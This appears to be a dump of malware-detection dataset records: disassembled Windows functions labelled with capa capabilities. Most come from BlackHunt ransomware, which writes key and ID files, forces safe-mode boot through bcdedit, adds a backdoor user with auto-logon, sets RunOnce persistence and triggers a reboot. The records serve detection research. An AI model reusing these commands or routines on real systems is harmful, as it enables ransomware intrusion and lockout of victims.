joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4297a0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x469cfd
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x4c8578]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push 0x200
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], 0x200
call fcn.00449f1f
add esp, 4
mov edi, eax
lea eax, [ebp - 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
test eax, eax
je 0x42987f
push edi
push 0x474534
push dword [0x502db0]
call fcn.004403a0
add esp, 0xc
test edi, edi
je 0x42986b
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 3
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov ebx, eax
lea ecx, [ebx - 1]
push ecx
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov esi, eax
test esi, esi
je 0x42986d
push ebx
push esi
push 0xffffffffffffffff
push edi
push 0
push 3
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
cmp eax, ebx
je 0x42986d
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor esi, esi
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x429872
jmp 0x4298eb
push 0x474558
push dword [0x502db0]
call fcn.004403a0
add esp, 8
push 0
push 0
push 0xffffffffffffffff
push 0x46c510
push 0
push 3
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov ebx, eax
lea ecx, [ebx - 1]
push ecx
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov esi, eax
test esi, esi
je 0x4298db
push ebx
push esi
push 0xffffffffffffffff
push 0x46c510
push 0
push 3
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
cmp eax, ebx
je 0x4298db
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor esi, esi
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4298e0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x28]
call fcn.004095e0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebp - 0x30]
push edi
mov dword [ecx], eax
call fcn.00449f04
mov edx, dword [ebp - 0x14]
add esp, 4
cmp edx, 8
jb 0x42994f
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x429945
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42996f
push edx
push ecx
call fcn.00443fd6
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00443fa5
mov esp, ebp
pop ebp
ret 8
call fcn.0044eb30
int3
Function at 0x429980
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x469cfd
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x4c8578]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push 0x200
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], 0x200
call fcn.00449f1f
add esp, 4
mov edi, eax
lea eax, [ebp - 0x2c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x429a5f
push edi
push 0x47457c
push dword [0x502db0]
call fcn.004403a0
add esp, 0xc
test edi, edi
je 0x429a4b
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 3
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov ebx, eax
lea ecx, [ebx - 1]
push ecx
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov esi, eax
test esi, esi
je 0x429a4d
push ebx
push esi
push 0xffffffffffffffff
push edi
push 0
push 3
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
cmp eax, ebx
je 0x429a4d
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor esi, esi
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x429a52
jmp 0x429acb
push 0x4745a0
push dword [0x502db0]
call fcn.004403a0
add esp, 8
push 0
push 0
push 0xffffffffffffffff
push 0x46c510
push 0
push 3
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
mov ebx, eax
lea ecx, [ebx - 1]
push ecx
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov esi, eax
test esi, esi
je 0x429abb
push ebx
push esi
push 0xffffffffffffffff
push 0x46c510
push 0
push 3
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
cmp eax, ebx
je 0x429abb
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor esi, esi
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x429ac0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x28]
call fcn.004095e0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebp - 0x30]
push edi
mov dword [ecx], eax
call fcn.00449f04
mov edx, dword [ebp - 0x14]
add esp, 4
cmp edx, 8
jb 0x429b2f
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x429b25
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x429b4f
push edx
push ecx
call fcn.00443fd6
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00443fa5
mov esp, ebp
pop ebp
ret 8
call fcn.0044eb30
int3
Function at 0x42acd0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x4c8578]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
mov ecx, 0x50fb50
call fcn.004146c0
test eax, eax
je 0x42ad2c
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], 0x40
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatusEx]
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
shrd ecx, eax, 0x14
push ecx
push 0x4745e0
push dword [0x502db0]
call fcn.004403a0
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
shrd ecx, eax, 0x14
mov dword [esi], ecx
jmp 0x42ad5c
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x20
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatus]
mov eax, dword [ebp - 0x1c]
shr eax, 0x14
push eax
push 0x4745e0
push dword [0x502db0]
call fcn.004403a0
mov eax, dword [ebp - 0x1c]
shr eax, 0x14
mov dword [esi], eax
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00443fa5
mov esp, ebp
pop ebp
ret 8

Function at 0x42bb90
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4c8578]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, 0x50fb50
push esi
push dword [eax]
call fcn.00411160
cmp dword [0x50ade0], 0
mov esi, eax
je 0x42bbe0
push 0x53c374
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x53c374
mov ecx, 0x50fb50
call fcn.00411cc0
push esi
push 0x53c374
jmp 0x42bc4d
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
test eax, eax
je 0x42bc5b
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.00449d78
push 0x474bbc
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.00449dd2
add esp, 0x18
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x108]
mov ecx, 0x50fb50
push eax
call fcn.00411cc0
push esi
lea eax, [ebp - 0x108]
push eax
push dword [0x502db0]
call fcn.004403d0
add esp, 0xc
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00443fa5
mov esp, ebp
pop ebp
ret 8
Function at 0x43e450
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov ecx, 0
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x811c9dc5
sub edx, edi
sar edx, 1
add edx, edx
je 0x43e481
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, edx
jb 0x43e470
pop edi
mov eax, esi
pop esi
pop ebp
ret 8

Function at 0x43ec70
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 0x1505
push esi
movsx esi, byte [edx]
test esi, esi
je 0x43ec96
mov ecx, eax
lea edx, [edx + 1]
shl eax, 5
add eax, esi
movsx esi, byte [edx]
add eax, ecx
test esi, esi
jne 0x43ec83
pop esi
pop ebp
ret

Function at 0x43ed20
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
test ebx, ebx
je 0x43ed77
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x43ed77
movsx edx, byte [edi]
mov eax, 0x1505
push esi
mov esi, edi
test edx, edx
je 0x43ed55
mov ecx, eax
lea esi, [esi + 1]
shl eax, 5
add eax, edx
movsx edx, byte [esi]
add eax, ecx
test edx, edx
jne 0x43ed42
xor edx, edx
div dword [ebx]
mov eax, dword [ebx + 4]
push edi
lea eax, [eax + edx*8]
push eax
call fcn.0043ec20
add esp, 8
pop esi
test eax, eax
je 0x43ed77
pop edi
mov eax, 1
pop ebx
pop ebp
ret
pop edi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x43ed80
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x43ee35
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x43ee35
movsx edx, byte [edi]
mov esi, edi
mov eax, 0x1505
test edx, edx
je 0x43edc3
nop word [eax + eax]
mov ecx, eax
lea esi, [esi + 1]
shl eax, 5
add eax, edx
movsx edx, byte [esi]
add eax, ecx
test edx, edx
jne 0x43edb0
xor edx, edx
div dword [ebx]
mov eax, dword [ebx + 4]
push edi
lea eax, [eax + edx*8]
push eax
call fcn.0043ec20
add esp, 8
test eax, eax
je 0x43ee35
mov edx, dword [ebp + 0x10]
test edx, edx
jne 0x43ee01
cmp dword [ebp + 0x14], edx
jne 0x43ee35
mov ecx, dword [eax + 4]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43edf0
sub ecx, edx
pop edi
pop esi
pop ebx
lea eax, [ecx + 1]
pop ebp
ret
mov esi, dword [eax + 4]
mov ecx, esi
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ee10
mov eax, dword [ebp + 0x14]
sub ecx, edi
cmp ecx, eax
jae 0x43ee35
push esi
push eax
push edx
call fcn.00449d78
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x401d20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x924
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x459974], 0xffffffff
push esi
push edi
je 0x401e20
mov ecx, 0x800
lea eax, [ebp - 0x90c]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401d50
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x90c]
push eax
call dword [sym.imp.USER32.dll_wvsprintfW]
test eax, eax
jle 0x401e20
push 0x47a310
lea edi, [eax + eax]
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x920]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x914]
push eax
movzx eax, word [ebp - 0x916]
push eax
movzx eax, word [ebp - 0x918]
push eax
lea eax, [ebp - 0x10c]
push str._02d:_02d:_02d___
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x14
test eax, eax
je 0x401de4
push 0
lea ecx, [ebp - 0x910]
add eax, eax
push ecx
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [0x459974]
call esi
push 0
lea eax, [ebp - 0x910]
push eax
push edi
lea eax, [ebp - 0x90c]
push eax
push dword [0x459974]
call esi
push 0
lea eax, [ebp - 0x910]
push eax
push 4
push 0x44352c
push dword [0x459974]
call esi
push 0x47a310
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x402080
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push esi
push edi
je 0x4020a8
push str.CreateResource
call fcn.00401d20
add esp, 4
push 0x44355c
push str.C:ProgramDataBlackHunt_BG.jpg
mov dword [ebp - 8], 0
call fcn.00423e1c
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4020dc
push eax
call fcn.0042400c
add esp, 4
jmp 0x40214f
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push str.C:ProgramDataBlackHunt_BG.jpg
call edi
mov edi, eax
test edi, edi
jne 0x40210a
call esi
push eax
push str.Cannot_Write_Background_File._GetLastError_:__lu
call fcn.00401d20
add esp, 8
jmp 0x402149
push 0
lea eax, [ebp - 8]
push eax
push 0x9c7f
push 0x459a68
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402135
call esi
push eax
push str.Cannot_Write_data_to_Background_File._GetLastError_:__lu
call fcn.00401d20
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push str.C:ProgramDataBlackHunt_BG.jpg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0x44355c
push str.C:ProgramDataBlackHunt_Icon.ico
mov dword [ebp - 8], 0
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x402177
push eax
call fcn.0042400c
add esp, 4
jmp 0x4021e4
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push str.C:ProgramDataBlackHunt_Icon.ico
call edi
mov edi, eax
test edi, edi
jne 0x4021a5
call esi
push eax
push str.Cannot_Write_icon_File._GetLastError_:__lu
call fcn.00401d20
add esp, 8
jmp 0x4021e4
push 0
lea eax, [ebp - 8]
push eax
push 0x98fe
push 0x4637c8
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4021d0
call esi
push eax
push str.Cannot_Write_data_to_icon_File._GetLastError_:__lu
call fcn.00401d20
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push str.C:ProgramDataBlackHunt_Icon.ico
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [0x479b08], 0
je 0x4021fa
push str.return_CreateResource
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x402210
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
cmp dword [0x479b08], 0
push esi
je 0x402227
push str.GetCryptoProvider
call fcn.00401d20
add esp, 4
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push 0xf0000000
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
push 0
push 0x478108
call esi
test eax, eax
je 0x40224d
mov eax, 1
pop esi
ret
push 0xf0000008
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
push 0
push 0x478108
call esi
test eax, eax
jne 0x402246
push 0xf0000000
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider__Prototype_
push eax
push 0x478108
call esi
test eax, eax
jne 0x402246
push 0xf0000008
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider__Prototype_
push eax
push 0x478108
call esi
pop esi
ret
Function at 0x402360
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push ebx
push esi
push edi
je 0x402389
push str.LoadKey
call fcn.00401d20
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
nop
push 0x154
push 8
push dword [0x47a330]
call esi
mov edi, eax
test edi, edi
je 0x402390
push 0x44355c
push str.C:ProgramDataBlackHunt_Public.key
call fcn.00423e1c
add esp, 8
test eax, eax
jne 0x4023d5
push 0x44355c
push str.BlackHunt_Public.key
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x40253b
push eax
call fcn.0042400c
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
add esp, 4
push 0
push 0
push 3
push 0
push 0
push closesocket
push str.C:ProgramDataBlackHunt_Public.key
call ebx
mov esi, eax
test esi, esi
jne 0x402422
push eax
push eax
push 3
push eax
push eax
push closesocket
push str.BlackHunt_Public.key
call ebx
mov esi, eax
test esi, esi
jne 0x402422
push str.Cannot_Open_PubKey_File
jmp 0x402540
push 0
lea eax, [ebp - 8]
push eax
push 0x114
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402443
push str.Cannot_read_PubKey_File
jmp 0x402540
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x479b00
push 0
push 0
push 0x114
push edi
push dword [0x478108]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x402473
push str.Import_Clienet_PubKey_failed__
jmp 0x402540
push 0x44355c
push str.C:ProgramDataBlackHunt_ID.txt
call fcn.00423e1c
add esp, 8
test eax, eax
jne 0x4024a3
push 0x44355c
push str.BlackHunt_ID.txt
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x402534
push eax
call fcn.0042400c
add esp, 4
push 0
push 0
push 3
push 0
push 0
push closesocket
push str.C:ProgramDataBlackHunt_ID.txt
call ebx
mov esi, eax
test esi, esi
jne 0x4024e7
push eax
push eax
push 3
push eax
push eax
push closesocket
push str.BlackHunt_ID.txt
call ebx
mov esi, eax
test esi, esi
jne 0x4024e7
push str.Cannot_Open_ID_File
jmp 0x402540
xor eax, eax
push eax
mov word [0x46f458], ax
lea eax, [ebp - 8]
push eax
push 0x20
push 0x46f438
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40250d
push str.Cannot_read_ID_File
jmp 0x402540
xor ecx, ecx
nop
movzx eax, word [ecx + 0x46f438]
lea ecx, [ecx + 2]
mov word [ecx + 0x47a2e2], ax
test ax, ax
jne 0x402510
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
jmp 0x40254a
push str.Cannot_Find_ID_File
jmp 0x402540
push str.Cannot_Find_PubKey_File
call fcn.00401d20
add esp, 4
xor esi, esi
push edi
push 0
push dword [0x47a330]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x479b08], 0
je 0x40256f
push str.return_LoadKey
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x402f10
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.IsWow64Process
push str.kernel32.dll
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov edi, eax
test edi, edi
je 0x402f63
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x402f86
cmp dword [ebp - 8], 0
je 0x402f86
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Wow64DisableWow64FsRedirection
push eax
call esi
test eax, eax
je 0x402f86
lea ecx, [ebp - 0xc]
push ecx
call eax
push 0
push 0
push dword [ebp - 0x10]
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push str.IsWow64Process
push str.kernel32.dll
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov edi, eax
test edi, edi
je 0x402fd0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x402ff2
cmp dword [ebp - 8], 0
je 0x402ff2
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Wow64RevertWow64FsRedirection
push eax
call esi
test eax, eax
je 0x402ff2
push dword [ebp - 0xc]
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x403020
Capabilities:
Enable safe mode boot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push ebx
push esi
push edi
je 0x40304c
push str.gotosafe
call fcn.00401d20
add esp, 4
push str.username
call fcn.0042706a
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
add esp, 4
mov dword [ebp - 0x214], edi
nop word [eax + eax]
push 0x810
push 8
push dword [0x47a330]
call esi
mov ebx, eax
test ebx, ebx
je 0x403070
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str._c_net_user
push ebx
call esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
call edi
push 0x4447a8
push ebx
call edi
push str.Black_Hunt_2.0
push ebx
call edi
mov ecx, ebx
call fcn.00402f10
mov ecx, str._c_REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon___v__AutoAdminLogon___t_REG_DWORD__d_1__f
call fcn.00402f10
push str._c_REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon___v__DefaultUserName___t_REG_SZ__d__
push ebx
call esi
push dword [ebp - 0x214]
push ebx
call edi
push str.___f
push ebx
call edi
mov ecx, ebx
call fcn.00402f10
push str._c_REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon___v__DefaultPassword___t_REG_SZ__d__
push ebx
call esi
push str.Black_Hunt_2.0
push ebx
call edi
push str.___f
push ebx
call edi
mov ecx, ebx
call fcn.00402f10
mov ecx, str._c_bootcfg__raw__a__safeboot:network__id_1
call fcn.00402f10
mov ecx, str._c_bcdedit__set_current_safeboot_network
call fcn.00402f10
mov ecx, str._c_REG_ADD__HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce___v__BackToNormal___t_REG_SZ__d__bcdedit__deletevalue_current_safeboot___f
call fcn.00402f10
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str._c_REG_ADD__HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce___v__BlackHunt___t_REG_SZ__d__
push ebx
call esi
lea eax, [ebp - 0x210]
push eax
push ebx
call edi
push str.___f
push ebx
call edi
mov ecx, ebx
call fcn.00402f10
push ebx
push 0
push dword [0x47a330]
call dword [sym.imp.KERNEL32.dll_HeapFree]
nop
push 0x444d7c
push 0x444d80
call fcn.00423e1c
push eax
call fcn.0042400c
add esp, 0xc
push 0x44355c
push 0x444d80
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x403160
push eax
call fcn.0042400c
add esp, 4
mov ecx, str._c_shutdown__r__t_7__f
call fcn.00402f10
cmp dword [0x479b08], 0
je 0x4031b7
push str.return_gotosafe
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
Function at 0x4031d0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x1cc
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push esi
je 0x40320d
push str.GetLocation
call fcn.00401d20
add esp, 4
lea eax, [ebp - 0x1c0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4032b7
lea eax, [ebp - 0x1c4]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x30]
movaps xmmword [ebp - 0x30], xmm0
push eax
push 0x444e48
push str.ip_api.com
movaps xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x2c], 2
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x40327c
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp dword [0x479b08], 0
je 0x4032cd
push str.retur_nGetLocation
jmp 0x4032c5
mov eax, dword [ebp - 0x1c4]
push dword [eax + 0xc]
push dword [eax + 8]
push dword [eax + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x4032b7
mov ecx, dword [ebp - 0x1c4]
push dword [ecx + 0x10]
push dword [ecx + 0x18]
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4032cd
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [0x479b08], 0
je 0x4032cd
push str.return_GetLocation
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop esi
call fcn.0040a2df
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret